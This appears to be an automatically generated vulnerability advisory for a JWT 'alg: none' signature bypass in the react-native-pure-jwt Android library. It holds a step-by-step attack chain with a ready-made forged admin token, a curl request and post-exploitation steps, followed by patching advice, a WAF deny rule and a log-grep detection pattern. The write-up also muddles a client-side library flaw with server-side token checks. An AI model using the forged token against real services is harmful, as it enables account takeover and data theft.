CVE-2026-138378 — Zaguiini React-native-pure-jwt — CWE-347
react-native-pure-jwt before 3.1.1 on Android contains a signature verification bypass vulnerability that allows unauthenticated attackers to forge tokens because RNPureJwtModule decode() calls JJWT parse() without algorithm pinning. Attackers can craft a token with header alg none and an empty signature to have arbitrary claims accepted as verified, forging identities or roles.
react-native-pure-jwt before 3.1.1 on Android contains a signature verification bypass vulnerability that allows unauthenticated attackers to forge tokens because RNPureJwtModule decode() calls JJWT parse() without algorithm pinning. Attackers can craft a token with header alg none and an empty signature to have arbitrary claims accepted as verified, forging identities or roles.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑138378
Affected component: react-native-pure-jwt v ≤ 3.1.0 (the library is bundled in the Android part of a React‑Native application)
CWE: CWE‑347 “Improper Verification of Cryptographic Signature”
Technical flaw
react-native-pure-jwt provides a native module (RNPureJwtModule) that exposes two JavaScript‑visible functions:
encode(payload, secret, options)– creates a signed JWT.decode(token, secret, options)– verifies the signature and returns the decoded payload.
In version 3.1.0 and earlier the decode() implementation does the following (simplified):
public WritableMap decode(String token, String secret) {
// token is a string like header.payload.signature
Claims claims = Jwts.parser()
.setSigningKey(secret.getBytes())
.parseClaimsJws(token) // <-- JJWT library call
.getBody();
// …convert claims to a WritableMap and return
}The critical mistake: the call to Jwts.parser() does not pin the expected signing algorithm (alg) to a known, strong value (e.g., HS256, RS256). The JJWT library, when invoked without an explicit requireSigned() or setAllowedAlgorithms() call, will accept any algorithm that the token header declares.
If the attacker supplies a token whose header contains "alg":"none" (the none algorithm defined by RFC 7518) and leaves the signature part empty (i.e., the token ends with a trailing dot), JJWT treats the token as unsigned and, because no algorithm is enforced, it returns the claims as if they were cryptographically verified.
Consequences:
sub, role, exp, custom fields) and the application will accept them as trusted, leading to identity/role forgery.The CVSS vector (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N) reflects:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow for a typical React‑Native mobile backend that validates JWTs sent in the Authorization: Bearer <token> header.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the mobile app’s backend API endpoints (e.g., /api/v1/profile). | Intercept traffic with Burp Suite, mitmproxy, or Charles Proxy while the app communicates with its server. |
| 1.2 | Observe that the server expects a JWT in the Authorization header and returns 401 Unauthorized when the token is missing or malformed. | HTTP 401 response with body “Invalid token”. |
| 1.3 | Determine the JWT library version used by the client. | De‑compile the APK (apktool → classes.dex → jadx) and locate package.json or node_modules/react-native-pure-jwt. The package.json will list "react-native-pure-jwt": "3.0.5" (or any < 3.1.1). |
| 1.4 | Correlate the version with public vulnerability databases (e.g., NVD, GitHub Advisory) and find CVE‑2026‑138378. | Search “react-native-pure-jwt CVE”. |
2. Exploitation
Goal: Obtain a JWT that the server will accept as valid, but whose claims are under the attacker’s control.
2.1 Craft the malicious token
A JWT consists of three Base64URL‑encoded parts: header.payload.signature.
For the none algorithm the signature part is omitted (empty string).
# Header (alg = none, typ = JWT)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# Payload (example: user id = 1, role = admin, exp = far future)
eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxOTk5OTk5OTk5fQ
# Signature (empty)The final token (concatenated with dots) is:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxOTk5OTk5OTk5fQ.2.2 Send the token to the target endpoint
Note – The exact endpoint is illustrative; any API that validates the JWT will be vulnerable.
curl -i -X GET "https://api.example.com/v1/profile" \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxOTk5OTk5OTk5fQ."Expected server response (if vulnerable):
HTTP/1.1 200 OK
Content-Type: application/json
{
"userId": "1",
"username": "admin",
"role": "admin",
"email": "[email protected]"
}If the server correctly rejects the token, it will return 401 or 403.
2.3 Verify the bypass
Repeat the request with a different payload (e.g., role: superadmin). If the server returns data associated with the new role, the bypass is confirmed.
3. Post‑exploitation
Once a forged token with elevated privileges is accepted, the attacker can:
| Impact | Example Action |
|---|---|
| Privilege escalation | Access admin‑only REST endpoints (/api/v1/users, /api/v1/settings). |
| Data exfiltration | Pull confidential records (/api/v1/transactions?limit=1000). |
| Business logic abuse | Create, modify, or delete resources (e.g., create new users, change pricing). |
| Persistence | Generate a long‑lived token (set exp far in the future) and store it for later use. |
| Lateral movement | If the backend forwards the JWT to downstream services (micro‑services, SSO), those services will also trust the forged token, widening the attack surface. |
Because the vulnerability is purely a cryptographic verification bypass, there is no code execution on the server, but the integrity of the authentication/authorization model is completely broken.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C) | VC:H – High. Attackers can read any data they are authorized to see once they forge a token with the appropriate claims (e.g., role: admin). | Exposure of PII, financial records, proprietary business data. |
| Integrity (I) | VI:H – High. The server trusts attacker‑supplied claims, allowing unauthorized actions (create/modify/delete, change configuration). | Tampering with records, privilege escalation, fraudulent transactions. |
| Availability (A) | VA:N – None. The flaw does not directly cause denial‑of‑service. | No direct impact on service uptime. |
Business impact can be severe for any mobile‑first SaaS, fintech, health‑tech, or internal enterprise app that relies on JWTs for authentication/authorization. A successful exploit can lead to full account takeover, data breach, and regulatory non‑compliance (e.g., GDPR, HIPAA).
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade library | Move to react-native-pure-jwt ≥ 3.1.1. The fixed version adds explicit algorithm pinning (setAllowedAlgorithms(Arrays.asList(SignatureAlgorithm.HS256))) before calling parseClaimsJws. |
| Verify version | In the mobile source tree, check package.json or yarn.lock for the exact version. Deploy the updated bundle and rebuild the Android APK. |
| Re‑sign and redistribute | Publish the new version to the app stores (Google Play, internal enterprise distribution). |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Workaround | Implementation |
|---|---|
| Enforce algorithm on the server side | Modify the backend verification code to reject tokens where alg is "none" or any algorithm not explicitly allowed. Example (Node.js with jsonwebtoken):<br><br>``js<br>const allowedAlgs = ['HS256', 'RS256'];<br>jwt.verify(token, secret, { algorithms: allowedAlgs }, (err, payload) => { … });<br>` |
| Reject empty signatures | In the verification routine, check that the third JWT segment (signature) is non‑empty before calling the library. |
| Add a WAF rule | Block inbound Authorization headers that contain a JWT with "alg":"none".<br><br>ModSecurity example (Apache/Nginx):<br><br>`apache<br>SecRule REQUEST_HEADERS:Authorization "@rx ^Bearer\s+([A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.)$" "id:100001,phase:2,deny,log,msg:'JWT with alg none (empty signature) blocked'"<br>` |
| Rate‑limit token‑validation endpoints | Prevent brute‑force attempts to discover the bypass by limiting requests per IP (e.g., 30 req/min). |
| Monitor for anomalous claims | Alert when a token contains unusually high exp values (e.g., > 10 years) or a role change from user to admin` without a corresponding login event. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
| Web server / API gateway | Authorization: Bearer <header>. <payload>. (note the trailing dot) – the signature part is empty. |
| Application logs | “JWT verification succeeded for userId=… role=admin” without a preceding successful login event. |
| Authentication audit logs | Sudden appearance of admin‑level actions (e.g., POST /api/v1/users/create) from an IP address that never performed a login. |
| WAF alerts (if rule above is deployed) | Msg: JWT with alg none (empty signature) blocked – indicates an attacker probing the bypass. |
Sample grep (Linux) to find empty‑signature tokens in access logs:
grep -E "Authorization: Bearer [A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\." /var/log/nginx/access.log⚠️ Urgency
Patch priority: Critical / Immediate for any production system that:
react-native-pure-jwt (or any JWT that could be supplied by a malicious client). | Timeframe | Action |
|---|---|
| 0‑24 h | Verify the library version in all mobile builds; apply the WAF rule and server‑side algorithm check as a stop‑gap. |
| 24‑72 h | Build, test, and roll out the upgraded library (≥ 3.1.1) to all Android clients. |
| ≤ 7 days | Complete full inventory, ensure all downstream services also enforce algorithm restrictions, and retire any legacy tokens still in circulation. |
Failure to remediate promptly can lead to full account takeover and data breach within days of public awareness.
[🤖 CVE Professor AI Security Engine]
FOFA Query